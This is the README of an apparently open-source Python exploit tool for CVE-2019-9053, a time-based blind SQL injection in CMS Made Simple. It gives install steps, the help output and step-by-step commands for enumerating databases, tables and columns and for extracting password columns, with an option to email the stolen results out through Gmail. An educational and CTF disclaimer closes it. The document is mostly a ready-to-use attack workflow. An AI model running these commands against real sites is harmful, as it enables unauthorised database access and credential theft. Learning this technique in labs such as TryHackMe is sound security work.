
Инструмент для временной слепой SQL-инъекции для MySQL - CVE-2019-9053
MySQLi.py - это личный учебный проект, вдохновленный эксплойтом Exploit-DB 46635, использованный в комнате SimpleCTF на TryHackMe.
Что привлекло мое внимание в оригинальном эксплойте - это его способность извлекать учетные данные и даже автоматически взламывать хэш пароля. С такой мотивацией я захотел написать свою собственную версию - более современную, с лучшим интерфейсом и большими возможностями настройки. Возможно, уже существуют подобные инструменты, но я надеюсь, что эта небольшая программа станет еще одним вкладом в мир этичного хакинга!
Инструмент эксплуатирует CVE-2019-9053 - уязвимость в CMS Made Simple < 2.2.10, которая раскрывает неочищенный параметр, уязвимый для слепой SQL-инъекции на основе времени, не требующей аутентификации. Поскольку веб-ответ не показывает данные напрямую, техника работает путем внедрения условий IF(SUBSTRING(...), SLEEP(n), 0) и измерения времени ответа для угадывания каждого символа по одному из базы данных, таблиц, столбцов и данных.
MySQLi demo
pip install -r requirements.txt
Чтобы использовать флаг --email, создайте файл .env в той же директории. Используйте шаблон из .env.example:
[email protected]
GMAIL_PASS=xxxx xxxx xxxx xxxx
Пароль должен быть паролем приложения Google, а не вашим обычным паролем Gmail. Вы можете сгенерировать его по адресу: myaccount.google.com/apppasswords
git clone https://github.com/rgkue/mysqli.git
cd mysqli
pip install -r requirements.txt
python3 mysqli.py --help
$ python3 mysqli.py --help
███╗ ███╗██╗ ██╗███████╗ ██████╗ ██╗ ██╗
████╗ ████║╚██╗ ██╔╝██╔════╝██╔═══██╗██║
██╔████╔██║ ╚████╔╝ ███████╗██║ ██║██║ ██║
██║╚██╔╝██║ ╚██╔╝ ╚════██║██║▄▄ ██║██║ ██║
██║ ╚═╝ ██║ ██║ ███████║╚██████╔╝███████╗██║
[!] Time-Based Blind SQL Injection for MySQL
Author: Isaac Muñoz - @rgkue | Github: github.com/rgkue/mysqli
Options:
--url <url> Target URL (required)
--mode <mode> Attack mode: database / tables / columns / exfil
--sleep <seconds> Sleep time for time-based injection (default: 5)
--delay <seconds> Delay between requests
--field <name> Vulnerable form field name (default: username)
--max <positions> Max character positions to extract (default: 40)
--table <name> Table name (required for columns/exfil)
--column <name> Column name (required for exfil)
--offset <n> Row offset - 0=first, 1=second... (default: 0)
--email <address> Send results to email (optional)
--output <file> Save data on a file
--help, -h Show this help message and exit
Examples:
python3 mysqli.py --url http://target/login.php --mode database
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
python3 mysqli.py --url http://target/login.php --mode columns --table users
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
python3 mysqli.py --url http://target/login.php --mode database --email [email protected]
# 1. Get the active database name
python3 mysqli.py --url http://target/login.php --mode database
# 2. List tables (use --offset to iterate)
python3 mysqli.py --url http://target/login.php --mode tables
python3 mysqli.py --url http://target/login.php --mode tables --offset 1
# 3. List columns from a table
python3 mysqli.py --url http://target/login.php --mode columns --table users
# 4. Extract data from a column
python3 mysqli.py --url http://target/login.php --mode exfil --table users --column password
# 5. Run multiple modes in one command
python3 mysqli.py --url http://target/login.php --mode database,tables
# 6. Save results to a file
python3 mysqli.py --url http://target/login.php --mode database --output results.txt
# 7. Send report by email
python3 mysqli.py --url http://target/login.php --mode database,tables --email [email protected]
# 8. Custom injection field
python3 mysqli.py --url http://target/search.php --mode database --field search
MySQLi.py предназначен исключительно для образовательных целей и для сред, где у вас есть явное разрешение на проведение тестирования безопасности.
Использование этого инструмента против систем без предварительного письменного разрешения владельца является незаконным и может считаться уголовным преступлением по законам многих стран. Автор не несет ответственности за любой ущерб, потерю данных, юридические последствия или любой другой вред, причиненный в результате неправильного использования этого программного обеспечения.
Используйте его только в своих собственных лабораториях, средах CTF, тренировочных платформах, таких как TryHackMe или HackTheBox, или в системах, на тестирование которых у вас есть разрешение.
Счастливого взлома! :)